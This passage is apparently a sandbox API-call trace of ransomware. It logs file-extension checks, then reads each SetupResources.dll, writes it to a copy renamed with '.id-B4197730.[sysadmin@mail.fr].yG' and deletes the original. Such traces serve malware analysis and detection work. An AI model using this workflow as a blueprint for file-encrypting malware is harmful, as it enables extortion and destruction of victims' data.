	[0041.454] lstrlenW (lpString=".xlsx") returned 5
	[0041.454] lstrcmpiW (lpString1=".xlsx", lpString2="ARKER") returned -1
	[0041.454] lstrlenW (lpString=".ppt") returned 4
	[0041.454] lstrcmpiW (lpString1=".ppt", lpString2="RKER") returned -1
	[0041.454] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33
	[0041.454] lstrlenW (lpString=".zip") returned 4
	[0041.454] lstrcmpiW (lpString1=".zip", lpString2="RKER") returned -1
	[0041.454] lstrlenW (lpString=".rar") returned 4
	[0041.454] lstrcmpiW (lpString1=".rar", lpString2="RKER") returned -1
	[0041.454] lstrlenW (lpString=".bz2") returned 4
	[0041.454] lstrcmpiW (lpString1=".bz2", lpString2="RKER") returned -1
	[0041.454] lstrlenW (lpString=".7z") returned 3
	[0041.455] lstrcmpiW (lpString1=".7z", lpString2="KER") returned -1
	[0041.455] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33
	[0041.455] lstrlenW (lpString=".dbf") returned 4
	[0041.455] lstrcmpiW (lpString1=".dbf", lpString2="RKER") returned -1
	[0041.455] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33
	[0041.455] lstrlenW (lpString=".1cd") returned 4
	[0041.455] lstrcmpiW (lpString1=".1cd", lpString2="RKER") returned -1
	[0041.455] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33
	[0041.455] lstrlenW (lpString=".jpg") returned 4
	[0041.455] lstrcmpiW (lpString1=".jpg", lpString2="RKER") returned -1
	[0041.455] lstrcmpiW (lpString1=".dll", lpString2=".yG") returned -1
	[0041.455] lstrlenW (lpString="SetupResources.dll") returned 18
	[0041.455] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1025\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0041.683] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x2feff14 | out: lpFileSize=0x2feff14*=17240) returned 1
	[0041.683] CloseHandle (hObject=0x344) returned 1
	[0041.683] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1025\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1025\\setupresources.dll")) returned 0x80
	[0041.683] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1025\\SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\1025\\setupresources.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0041.684] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1025\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0041.684] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1
	[0041.684] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1
	[0041.684] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\1025\\setupresources.dll.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348
	[0041.684] GetLastError () returned 0x0
	[0041.684] ReadFile (in: hFile=0x344, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x2fefecc*=0x4358, lpOverlapped=0x0) returned 1
	[0041.973] WriteFile (in: hFile=0x348, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0x4360, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x2fefc94*=0x4360, lpOverlapped=0x0) returned 1
	[0041.973] ReadFile (in: hFile=0x344, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x2fefecc*=0x0, lpOverlapped=0x0) returned 1
	[0041.974] WriteFile (in: hFile=0x348, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x2fefc94*=0xf8, lpOverlapped=0x0) returned 1
	[0041.974] SetEndOfFile (hFile=0x348) returned 1
	[0041.974] CloseHandle (hObject=0x348) returned 1
	[0041.975] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1
	[0041.975] SetEndOfFile (hFile=0x344) returned 1
	[0041.976] CloseHandle (hObject=0x344) returned 1
	[0041.976] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1025\\SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x80) returned 1
	[0041.976] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1025\\setupresources.dll")) returned 1
	[0041.976] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45
	[0041.976] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45
	[0041.976] lstrlenW (lpString=".doc") returned 4
	[0041.976] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0041.976] lstrlenW (lpString=".docx") returned 5
	[0041.976] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0041.977] lstrlenW (lpString=".pdf") returned 4
	[0041.977] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0041.977] lstrlenW (lpString=".xls") returned 4
	[0041.977] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0041.977] lstrlenW (lpString=".xlsx") returned 5
	[0041.977] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0041.977] lstrlenW (lpString=".ppt") returned 4
	[0041.977] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0041.977] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45
	[0041.977] lstrlenW (lpString=".zip") returned 4
	[0041.977] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0041.977] lstrlenW (lpString=".rar") returned 4
	[0041.977] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0041.977] lstrlenW (lpString=".bz2") returned 4
	[0041.977] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0041.977] lstrlenW (lpString=".7z") returned 3
	[0041.977] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0041.977] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45
	[0041.977] lstrlenW (lpString=".dbf") returned 4
	[0041.977] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0041.977] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45
	[0041.977] lstrlenW (lpString=".1cd") returned 4
	[0041.977] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0041.977] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45
	[0041.977] lstrlenW (lpString=".jpg") returned 4
	[0041.977] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0041.977] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45
	[0041.977] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45
	[0041.977] lstrlenW (lpString=".doc") returned 4
	[0041.977] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0041.977] lstrlenW (lpString=".docx") returned 5
	[0041.977] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0041.977] lstrlenW (lpString=".pdf") returned 4
	[0041.977] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0041.977] lstrlenW (lpString=".xls") returned 4
	[0041.977] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0041.977] lstrlenW (lpString=".xlsx") returned 5
	[0041.978] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0041.978] lstrlenW (lpString=".ppt") returned 4
	[0041.978] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0041.978] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45
	[0041.978] lstrlenW (lpString=".zip") returned 4
	[0041.978] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0041.978] lstrlenW (lpString=".rar") returned 4
	[0041.978] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0041.978] lstrlenW (lpString=".bz2") returned 4
	[0041.978] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0041.978] lstrlenW (lpString=".7z") returned 3
	[0041.978] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0041.978] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45
	[0041.978] lstrlenW (lpString=".dbf") returned 4
	[0041.978] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0041.978] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45
	[0041.978] lstrlenW (lpString=".1cd") returned 4
	[0041.978] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0041.978] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45
	[0041.978] lstrlenW (lpString=".jpg") returned 4
	[0041.978] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0041.978] lstrcmpiW (lpString1=".dll", lpString2=".yG") returned -1
	[0041.978] lstrlenW (lpString="SetupResources.dll") returned 18
	[0041.978] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1041\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0041.978] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x2feff14 | out: lpFileSize=0x2feff14*=15704) returned 1
	[0041.978] CloseHandle (hObject=0x344) returned 1
	[0041.978] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1041\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1041\\setupresources.dll")) returned 0x80
	[0041.979] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1041\\SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\1041\\setupresources.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0041.979] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1041\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0041.979] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1
	[0041.979] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1
	[0041.979] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\1041\\setupresources.dll.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c
	[0042.017] GetLastError () returned 0x0
	[0042.017] ReadFile (in: hFile=0x344, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x2fefecc*=0x3d58, lpOverlapped=0x0) returned 1
	[0042.041] WriteFile (in: hFile=0x32c, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0x3d60, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x2fefc94*=0x3d60, lpOverlapped=0x0) returned 1
	[0042.078] ReadFile (in: hFile=0x344, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x2fefecc*=0x0, lpOverlapped=0x0) returned 1
	[0042.078] WriteFile (in: hFile=0x32c, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x2fefc94*=0xf8, lpOverlapped=0x0) returned 1
	[0042.078] SetEndOfFile (hFile=0x32c) returned 1
	[0042.078] CloseHandle (hObject=0x32c) returned 1
	[0042.079] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1
	[0042.079] SetEndOfFile (hFile=0x344) returned 1
	[0042.080] CloseHandle (hObject=0x344) returned 1
	[0042.080] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1041\\SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x80) returned 1
	[0042.080] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1041\\setupresources.dll")) returned 1
	[0042.080] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45
	[0042.081] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45
	[0042.081] lstrlenW (lpString=".doc") returned 4
	[0042.081] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0042.081] lstrlenW (lpString=".docx") returned 5
	[0042.081] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0042.081] lstrlenW (lpString=".pdf") returned 4
	[0042.081] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0042.081] lstrlenW (lpString=".xls") returned 4
	[0042.081] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0042.081] lstrlenW (lpString=".xlsx") returned 5
	[0042.081] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0042.081] lstrlenW (lpString=".ppt") returned 4
	[0042.081] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0042.081] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45
	[0042.081] lstrlenW (lpString=".zip") returned 4
	[0042.081] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0042.081] lstrlenW (lpString=".rar") returned 4
	[0042.081] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0042.081] lstrlenW (lpString=".bz2") returned 4
	[0042.081] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0042.081] lstrlenW (lpString=".7z") returned 3
	[0042.081] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0042.081] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45
	[0042.081] lstrlenW (lpString=".dbf") returned 4
	[0042.081] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0042.081] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45
	[0042.081] lstrlenW (lpString=".1cd") returned 4
	[0042.081] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0042.081] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45
	[0042.081] lstrlenW (lpString=".jpg") returned 4
	[0042.081] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0042.081] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45
	[0042.081] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45
	[0042.081] lstrlenW (lpString=".doc") returned 4
	[0042.081] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0042.081] lstrlenW (lpString=".docx") returned 5
	[0042.081] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0042.082] lstrlenW (lpString=".pdf") returned 4
	[0042.082] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0042.082] lstrlenW (lpString=".xls") returned 4
	[0042.082] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0042.082] lstrlenW (lpString=".xlsx") returned 5
	[0042.082] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0042.082] lstrlenW (lpString=".ppt") returned 4
	[0042.082] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0042.082] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45
	[0042.082] lstrlenW (lpString=".zip") returned 4
	[0042.082] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0042.082] lstrlenW (lpString=".rar") returned 4
	[0042.082] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0042.082] lstrlenW (lpString=".bz2") returned 4
	[0042.082] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0042.082] lstrlenW (lpString=".7z") returned 3
	[0042.082] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0042.082] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45
	[0042.082] lstrlenW (lpString=".dbf") returned 4
	[0042.082] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0042.082] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45
	[0042.082] lstrlenW (lpString=".1cd") returned 4
	[0042.082] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0042.082] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45
	[0042.082] lstrlenW (lpString=".jpg") returned 4
	[0042.082] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0042.082] lstrcmpiW (lpString1=".dll", lpString2=".yG") returned -1
	[0042.082] lstrlenW (lpString="SetupResources.dll") returned 18
	[0042.082] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1043\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0042.113] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2feff14 | out: lpFileSize=0x2feff14*=19288) returned 1
	[0042.113] CloseHandle (hObject=0x2e0) returned 1
	[0042.113] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1043\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1043\\setupresources.dll")) returned 0x80
	[0042.113] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1043\\SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\1043\\setupresources.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0042.113] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1043\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0042.113] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1
	[0042.114] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1
	[0042.114] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\1043\\setupresources.dll.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc
	[0042.121] GetLastError () returned 0x0
	[0042.121] ReadFile (in: hFile=0x2e0, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x2fefecc*=0x4b58, lpOverlapped=0x0) returned 1
	[0042.257] WriteFile (in: hFile=0x2fc, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0x4b60, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x2fefc94*=0x4b60, lpOverlapped=0x0) returned 1
	[0042.259] ReadFile (in: hFile=0x2e0, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x2fefecc*=0x0, lpOverlapped=0x0) returned 1
	[0042.259] WriteFile (in: hFile=0x2fc, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x2fefc94*=0xf8, lpOverlapped=0x0) returned 1
	[0042.259] SetEndOfFile (hFile=0x2fc) returned 1
	[0042.259] CloseHandle (hObject=0x2fc) returned 1
	[0042.260] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1
	[0042.260] SetEndOfFile (hFile=0x2e0) returned 1
	[0042.261] CloseHandle (hObject=0x2e0) returned 1
	[0042.261] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1043\\SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x80) returned 1
	[0042.745] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1043\\setupresources.dll")) returned 1
	[0042.745] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45
	[0042.746] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45
	[0042.753] lstrlenW (lpString=".doc") returned 4
	[0042.753] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0042.753] lstrlenW (lpString=".docx") returned 5
	[0042.753] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0042.753] lstrlenW (lpString=".pdf") returned 4
	[0042.753] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0042.753] lstrlenW (lpString=".xls") returned 4
	[0042.753] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0042.753] lstrlenW (lpString=".xlsx") returned 5
	[0042.753] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0042.753] lstrlenW (lpString=".ppt") returned 4
	[0042.753] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0042.753] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45
	[0042.753] lstrlenW (lpString=".zip") returned 4
	[0042.753] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0042.753] lstrlenW (lpString=".rar") returned 4
	[0042.753] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0042.753] lstrlenW (lpString=".bz2") returned 4
	[0042.753] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0042.753] lstrlenW (lpString=".7z") returned 3
	[0042.753] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0042.753] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45
	[0042.753] lstrlenW (lpString=".dbf") returned 4
	[0042.753] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0042.753] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45
	[0042.753] lstrlenW (lpString=".1cd") returned 4
	[0042.753] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0042.753] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45
	[0042.753] lstrlenW (lpString=".jpg") returned 4
	[0042.753] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0042.754] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45
	[0042.754] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45
	[0042.754] lstrlenW (lpString=".doc") returned 4
	[0042.754] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0042.754] lstrlenW (lpString=".docx") returned 5
	[0042.754] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0042.754] lstrlenW (lpString=".pdf") returned 4
	[0042.754] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0042.754] lstrlenW (lpString=".xls") returned 4
	[0042.754] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0042.754] lstrlenW (lpString=".xlsx") returned 5
	[0042.754] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0042.754] lstrlenW (lpString=".ppt") returned 4
	[0042.754] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0042.754] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45
	[0042.754] lstrlenW (lpString=".zip") returned 4
	[0042.754] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0042.754] lstrlenW (lpString=".rar") returned 4
	[0042.754] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0042.754] lstrlenW (lpString=".bz2") returned 4
	[0042.754] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0042.754] lstrlenW (lpString=".7z") returned 3
	[0042.754] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0042.754] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45
	[0042.754] lstrlenW (lpString=".dbf") returned 4
	[0042.754] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0042.754] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45
	[0042.754] lstrlenW (lpString=".1cd") returned 4
	[0042.754] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0042.754] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45
	[0042.754] lstrlenW (lpString=".jpg") returned 4
	[0042.754] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0042.754] lstrcmpiW (lpString1=".ico", lpString2=".yG") returned -1
	[0042.755] lstrlenW (lpString="Rotate4.ico") returned 11
	[0042.755] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate4.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0042.755] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x2feff14 | out: lpFileSize=0x2feff14*=894) returned 1
	[0042.755] CloseHandle (hObject=0x34c) returned 1
	[0042.755] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate4.ico")) returned 0x80
